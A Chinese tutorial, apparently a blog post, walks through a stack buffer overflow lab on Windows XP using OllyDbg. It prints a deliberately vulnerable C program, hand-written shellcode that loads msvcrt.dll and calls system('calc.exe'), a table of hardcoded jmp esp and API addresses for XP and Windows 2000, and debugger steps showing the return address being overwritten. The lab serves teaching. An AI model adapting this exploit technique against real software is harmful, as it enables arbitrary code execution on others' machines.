前言
上一章对栈溢出漏洞进行了理论分析,在OD中我们可以清楚的看到堆栈的数据变化和CPU的执行流程,所以现在我们就要使用OD对一个存在溢出漏洞的C程序进行逆向调试(本实验需要掌握对OD的基本使用和X86汇编语言基础。),以这个例子进一步观察栈溢出的现象,为下一步堆栈协同攻击做好铺垫。
实验环境
Windows xp
ollydbg
Visual C++ 6.0
实验代码
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7b\x1d\x80\x7c" //loadlibrary地址
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65"
"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe");
"\xFF\xD0";
void func1(char* s)
{
char buf[10];
strcpy(buf, s);
}
int main(int argc, char* argv[])
{
char badCode[] = "aaaabbbb2222cccc4444ffff";
DWORD* pEIP = (DWORD*)&badCode[16]; //从第16个字节开始
*pEIP = (DWORD)shellcode; //拼接shellcode代码的地址
func1(badCode);
return 0;
}
代码没有什么好讲的,主要是func1函数里面存在strcpy(buf, s);这个溢出漏洞,
我在main函数里面给func1函数传递了一个大于buf[10]的字符串,而这个字符串是我精心构造的覆盖完局部变量和ebp后刚好能把我shellcode的地址覆盖到EIP,这样函数返回时就不会到main中而是去执行我的shellcode代码了
主要是shellcode代码:
shellcode其实就是16进制的机器码,而机器码和汇编代码对应,我们可以编写一个c程序反汇编后得到这些机器码。
下面是简单的机器码对应X86汇编的示例(这里没有和我的shellcode对应不过都差不多):

以上代码和我的代码都是先调用loadlibrary加载msvcrt.dll,然后调用dll里面的system函数弹出计算器。
这里要注意的是我的loadlibrary和system函数的地址都是XP的,如果你在其他平台请改写这个参数(可以编写一个c程序打印你所在平台的函数地址)。
举两个例子:
xpsp3
77d29353 jmp esp
77d507ea messageboxa
77bf9c37 system msvcrt.dll
7c81cafa ExitProcess
7c801d7b LoadLibraryA
win2000 sp4
77df4c29 jmp esp
77e18098 messageboxa
78018ebf system msvcrt.dll
77e6e01a ExitProcess
77e705cf
OD调试分析
-
我们将程序丢进OD中,将代码定位到main函数中:
image.png
-
将代码停在func1,观察栈上的数据
image.png
-
去看看00424A30是否是我们的shellcode
使用dd 00424A30查看
image.png
-
进入func1函数中,可以看到栈上的EIP返回地址为00401110
image.png
-
当代码走过strcpy后栈的变化(这里说明eip返回地址覆盖成功了):
image.png
-
当函数返回retn时代码跳到了我们的shellcode:
image.png
-
F9运行后计算器弹出:
image.png
尾言
好了这次的OD调试分析就完成了,代码很简单。关键是理解溢出的原理这个在上一章中已经基于理论进行分析了。其实在本实验中我们只弹出计算机但是如果真在的恶意攻击者可不会这么客气了,因为程序已经跑到了我们的代码就可以做很多事情了,包括持续渗透进你的内网,监控你的文件与网络。
网友评论